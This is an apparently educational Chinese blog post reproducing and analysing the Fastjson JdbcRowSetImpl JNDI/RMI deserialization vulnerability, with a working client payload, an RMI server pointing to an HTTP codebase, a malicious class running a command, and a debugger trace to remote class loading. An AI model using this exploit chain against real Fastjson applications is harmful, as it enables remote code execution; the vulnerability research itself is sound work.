首先创建客户端
package com.yq1ng.vul;import com.alibaba.fastjson.JSON;/*** FastJsonTest** @author yq1ng* @date 2021/12/29 19:45* @since 1.0.0*/
public class FastJsonTest {public static void main(String[] args) {String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";JSON.parse(ser);}
}
然后是jndi服务端
package com.yq1ng.vul;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;/*** RMIServer** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Evil", referenceWrapper);System.out.println("Server is running...");}
}
接着是恶意类,注意这个恶意类不能带有包名,也就是package
import java.io.IOException;/*** Evil** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class Evil {public Evil(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}
然后编译恶意类,并起一个python简单服务,注意python3的启动方式是python -m http.server 8080
不再是python -m SimpleHTTPServer 8080
然后启动jndi服务,启动客户端即可
漏洞分析
poc是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
,从上面的反序列化流程可以知道会去调用指定类,然后调用setter,这里会调用setDataSourceName()
和setAutoCommit()
。
在deserialze
后继续调试,断点打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()
这里默认的dataSource
是空的,所以会设置为我们传入的恶意rmi。接着来到setAutoCommit()
这里conn
为空,所以进行获取,这里形参也解释了为什么payload的autoCommit
为true
。跟进this.connect()
首先初始化上下文,然后开始找传入的rmi类
继续跟
首先看getRootURLContext()
,全局查找的话会有四个类去调用
这里会根据不同协议去调用不同的getRootURLContext()
,这里跟进rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()
这里对传入的rmi格式进行检测,代码很长截取部分,一言不合就会抛异常。接着返回
继续跟
首先是一个判空,然后去注册中心找Evil,接着在return跟进rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()
这里将构造的Reference
赋值给var3
,然后跟进NamingManager.java#getObjectInstance()
到这里跟进getObjectFactoryFromReference()
先从本地尝试加载Evil,如果不存在继续往下看
本地不存在的话就会尝试从codebase中加载class
什么是codebase?以下内容摘自:Java-RMI
codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。
codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。
跟进helper.loadClass()
这里通过URLClassLoader
进行加载类。最后进行实例化,导致rce